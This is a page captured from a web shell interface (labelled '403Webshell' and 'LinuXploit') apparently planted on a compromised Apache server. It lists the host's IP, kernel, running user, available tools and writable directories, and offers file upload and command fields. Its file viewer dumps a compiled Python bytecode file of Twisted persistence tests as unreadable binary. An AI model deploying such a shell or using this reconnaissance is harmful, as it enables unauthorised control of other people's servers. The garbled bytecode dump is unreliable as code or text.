403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/twisted/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyc
ó
LNc@s#ddlZddlmZyddlZWnek
rKddlZnXyddlZWnek
r{ddlZnXddlm	Z	m
Z
mZdejfd„ƒYZ
de	jfd„ƒYZde	jfd	„ƒYZd
efd„ƒYZdeefd
„ƒYZdejfd„ƒYZde	jfd„ƒYZdejfd„ƒYZdd%d„ƒYZdd&d„ƒYZdd'd„ƒYZd„Zdejfd„ƒYZdd(d„ƒYZdd)d „ƒYZd!ejfd"„ƒYZd#ejfd$„ƒYZe
eegZ dS(*i˙˙˙˙N(tunittest(tstylestaottcrefutiltVersionTestCasecBs,eZd„Zd„Zd„Zd„ZRS(cCspddd„ƒYatjtƒƒ}dtjfd„ƒYatj|ƒ}tjƒ|jsltdƒ‚dS(Nt
NullVersionedcBseZdZRS(i(t__name__t
__module__tok(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRscBseZdZd„ZRS(icSs
d|_dS(Ni(R(tself((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytupgradeToVersion1!s(RRtpersistenceVersionR
(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRssinitial upgrade not run!((	RtpickletdumpsRt	Versionedtloadst	doUpgradeRtAssertionError(R	tpkcltmnv((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestNullVersionUpgrades
cCsţdtjfd„ƒYatƒ}|jp1|jsAtdƒ‚tj|ƒ}dt_tj	|ƒ}tj
ƒ|js‡tdƒ‚|jsœtdƒ‚tj|ƒ}tj	|ƒ}tj
ƒ|jdksßtdƒ‚|jdksútdƒ‚dS(	NtMyVersionedcBs>eZdZdgZdZdZd„Zd„Zd„ZRS(itgarbagedataicSsd|_d„|_dS(NtxxxcSsdS(Nscant persist((tq((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt<lambda>1s(tsomedataR(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt__init__/s	cSs|jd7_dS(Ni(tv3(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytupgradeToVersion33scSs|jd7_dS(Ni(tv4(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytupgradeToVersion46s(	RRRtpersistenceForgetsRRRRR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR)s			shasn't been upgraded yetisdidn't do version 3 upgradesdidn't do version 4 upgradeisupgraded unnecessarily(RRRRRRRR
RRR(R	tmvtpickltobj((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestVersionUpgrade's		

cCsĐdtjfd„ƒYatddƒ}tddƒ}tj||fƒ}~~dt_d„t_tj|ƒ\}}tjƒ|j	|j
dƒ|j	|j
dƒ|j|jƒ|j|jƒdS(NtClassWithCustomHashcBseZd„Zd„ZRS(cSs||_||_dS(N(tuniquethash(R	R&R'((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRIs	cSs|jS(N(R'(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt__hash__Ls(RRRR((((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR%Hs	tv1itv2icSst|dtƒS(Ntupgraded(tsetattrtTrue(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRUs(
RRR%RR
RR
RRtassertEqualR&t
failUnlessR+(R	R)R*tpkl((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestNonIdentityHashFs	
csĎdtjfd„ƒYadtjfd„ƒYatƒ}tƒ}tj|ƒtj|ƒ}‰~~dt_‡fd†}|t_dt_d„t_tj|ƒ}tj	ƒ|j
|jjƒdS(Nt	ToyClassAcBseZRS((RR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR2_st	ToyClassBcBseZRS((RR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR3asics tjˆƒ|_tjƒdS(N(RRtyRR(R	(tpklB(s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR
hscSst|dtƒS(NR+(R,R-(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRms(
RRR2R3RR
RR
RRR/R4R+(R	txR4tpklAR
((R5s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt.testUpgradeDeserializesObjectsRequiringUpgrade]s					
(RRRR$R1R8(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRs	
		tVersionedSubClasscBseZRS((RR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR9ustSecondVersionedSubClasscBseZRS((RR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR:zstVersionedSubSubClasscBseZRS((RR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR;stVersionedDiamondSubClasscBseZRS((RR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR<„stAybabtuTestscBs2eZdZd„Zd„Zd„Zd„ZRS(sž
    L{styles._aybabtu} gets all of classes in the inheritance hierarchy of its
    argument that are strictly between L{Versioned} and the class itself.
    cCs |jtjtjƒgƒdS(sM
        L{styles._aybabtu} of L{Versioned} itself is an empty list.
        N(R.Rt_aybabtuR(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_aybabtuStrictEmptyscCs|jtjtƒgƒdS(s
        There are no classes I{between} L{VersionedSubClass} and L{Versioned},
        so L{styles._aybabtu} returns an empty list.
        N(R.RR>R9(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_aybabtuStrictSubclass–scCs |jtjtƒtgƒdS(s†
        With a sub-sub-class of L{Versioned}, L{styles._aybabtu} returns a list
        containing the intervening subclass.
        N(R.RR>R;R9(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_aybabtuSubsubclassžscCs&|jtjtƒtttgƒdS(s
        For a diamond-shaped inheritance graph, L{styles._aybabtu} returns a
        list containing I{both} intermediate subclasses.
        N(R.RR>R<R;R9R:(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_aybabtuStrict§s(RRt__doc__R?R@RARB(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR=‰s
				tMyEphemeralcBseZd„ZRS(cCs
||_dS(N(R6(R	R6((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR´s(RRR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRD˛stEphemeralTestCasecBseZd„ZRS(cCstdƒ}|j|jtƒ|j|jdƒtj|ƒ}tj|ƒ}|j|jtjƒ|j	t
|dƒƒdS(NiR6(RDR.t	__class__R6RR
RRt	Ephemeraltassert_thasattr(R	toR"((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt
testEphemeralşs(RRRK(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRE¸st
PickleablecBseZd„Zd„ZRS(cCs
||_dS(N(R6(R	R6((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRČscCs|jS(N(R6(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytgetXËs(RRRRM(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRLĆs	tAcBseZdZd„ZRS(s
    dummy class
    cCsdS(N((R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytamethodŇs(RRRCRO(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRNÎstBcBseZdZd„ZRS(s
    dummy class
    cCsdS(N((R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytbmethodŮs(RRRCRQ(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRPŐscCsdS(N((((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pytfunktionÜstPicklingTestCasecBs2eZdZd„Zd„Zd„Zd„ZRS(s$Test pickling of extra object types.cCs2tjtƒ}tj|ƒ}|j|tƒdS(N(RR
RRR.(R	R"RJ((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt
testModuleâscCs8tjtjƒ}tj|ƒ}|j|tjƒdS(N(RR
RLRMRR.(R	R"RJ((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestClassMethodçscCsctdƒ}tj|jƒ}tj|ƒ}|j|ƒdƒ|jt|ƒt|jƒƒdS(Ni(RLRR
RMRR.ttype(R	R#R"RJ((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestInstanceMethoděs
cCsmtjƒ}|jdƒtj|ƒ}tj|ƒ}|jt|ƒt|ƒƒ|j|jƒdƒdS(Ntabc(tStringIOtwriteRR
RR.RVtgetvalue(R	tfR"RJ((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestStringIOós
(RRRCRTRURWR](((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRSßs
			t
EvilSourcerorcBseZd„ZRS(cCs(||_||j_||jj_dS(N(tatbtc(R	R6((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRýs	(RRR(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR^üstNonDictStatecBseZd„Zd„ZRS(cCs|jS(N(tstate(R	((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt__getstate__scCs
||_dS(N(Rc(R	Rc((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt__setstate__s(RRRdRe(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRbs	tAOTTestCasecBsPeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	RS(c
Cscdddttdddƒddtjddtf
}tjtj|ƒƒ}|j	||ƒdS(Nig@y@iithellouworld(
R-tslicetsystmaxinttNonetEllipsisRtunjellyFromSourcet
jellyToSourceR.(R	R#trtObj((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestSimpleTypes	s7cCsbtƒ}tƒ}|j|_||_tjtj|ƒƒjj}|j|j|j	j
ƒdS(N(RNRPRQR_RRmRnR.tim_classtim_selfRF(R	R_R`tim_((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestMethodSelfIdentitys			cCsjtƒ}tƒ}|j|_||_tj}t`z#|jttjtj|ƒƒWd|t_XdS(s°
        If a class change after an instance has been created,
        L{aot.unjellyFromSource} shoud raise a C{TypeError} when trying to
        unjelly the instance.
        N(	RNRPRQR_tassertRaisest	TypeErrorRRmRn(R	R_R`tsavedbmethod((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_methodNotSelfIdentitys				cCs?y|Wnddlm}nX|jttj|ƒƒdS(sp
        L{aot.jellyToSource} should raise a C{TypeError} when trying to jelly
        an unknown type.
        i˙˙˙˙(tSetN(tsetsRyRuRvRRn(R	tset((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_unsupportedType*s
cCsătjƒj}idd6|d6}ddddddd	dttj|tg}t|ƒ}|j|ƒ|j|ƒ|j|ƒtjtj||gƒƒ}|d|dksťt	‚|ddd
!|dd
!ksßt	‚dS(NtworldRgtmethodiiishe	llo

"x world!ugoodbye 
	တ world!gđ?idldiil- \l.ž:ˆ'-ü4^SCŃ{Ą'#EMĐ˜nî9Iä{;4'Dh3ş
4;,YV|(4Ů"Klő5Œs(
Rt
AOTJelliert	jellyToAORRRttupletappendRmRnR(R	tajtdtltttuj((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestBasicIdentity6s		


cCs@tƒ}d|_tjtj|ƒƒj|jks<t‚dS(Ns	meringue!(RbRcRRmRnR(R	R_((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestNonDictStateJs		cCsSd}tjƒ}|j|ƒtjtj|ƒƒ}|jƒ|ksOt‚dS(Ntfoo_bar(RYRZRRmRnR[R(R	tstsioR‡((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestCopyRegOs

cCsttgƒƒ}tj|ƒ}tj|ƒ}|j|ksEt‚|jj|jks`t‚|j|jjk	s{t‚dS(N(R^Rt
jellyToAOTtunjellyFromAOTR_RR`Ra(R	RJtj1toj((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttestFunkyReferencesWs(
RRRpRtRxR|RˆR‰RR’(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyRfs								tCrefUtilTestCasecBs eZdZd„Zd„ZRS(s 
    Tests for L{crefutil}.
    cCs,tjiƒ}|jt|jddƒdS(sO
        L{crefutil._DictKeyAndValue} only support keys C{0} and C{1}.
        iiN(Rt_DictKeyAndValueRutRuntimeErrort__setitem__(R	R„((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_dictUnknownKeyfscCs3tjƒ}d|d<|jt|jddƒdS(sI
        L{crefutil._Defer} can be assigned a key only one time.
        iiN(Rt_DeferRuR•R–(R	R„((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyttest_deferSetMultipleTimesns
(RRRCR—R™(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyR“as	((((((!Rit
twisted.trialRtcPickleRtImportErrort	cStringIORYttwisted.persistedRRRtTestCaseRRR9R:R;R<R=RGRDRERLRNRPRRRSR^RbRfR“t	testCases(((s?/usr/lib/python2.7/dist-packages/twisted/test/test_persisted.pyt<module>s8

\)	Y

Youez - 2016 - github.com/yon3zu
LinuXploit